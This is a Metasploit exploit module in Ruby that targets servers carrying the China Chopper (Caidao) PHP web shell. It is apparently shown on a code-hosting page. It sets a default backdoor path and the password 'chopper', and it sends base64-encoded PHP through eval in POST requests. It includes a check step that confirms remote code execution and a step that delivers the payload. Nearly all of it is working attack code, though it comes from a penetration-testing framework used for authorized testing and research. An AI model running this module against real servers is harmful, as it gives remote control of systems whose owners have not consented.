Alan Foster
70 lines
2.1 KiB
Ruby
70 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'China Chopper Caidao PHP Backdoor Code Execution',
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'Description' => %q{
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This module takes advantage of the China Chopper Webshell that is
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commonly used by Chinese hackers.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Nixawk'],
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'References' =>
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[
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['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
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['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'],
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['URL', 'https://www.exploit-db.com/docs/27654.pdf'],
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['URL', 'https://www.us-cert.gov/ncas/alerts/TA15-313A']
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],
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Automatic', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => '2015-10-27',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
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OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
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])
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end
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def http_send_command(code)
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code = "eval(base64_decode(\"#{Rex::Text.encode_base64(code)}\"));"
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'vars_post' => {
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"#{datastore['PASSWORD']}" => code
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}
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})
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end
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def check
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flag = Rex::Text.rand_text_alpha(16)
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res = http_send_command("printf(\"#{flag}\");")
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if res && res.body =~ /#{flag}/m
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_status("Sending exploit...")
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http_send_command(payload.raw)
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end
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end
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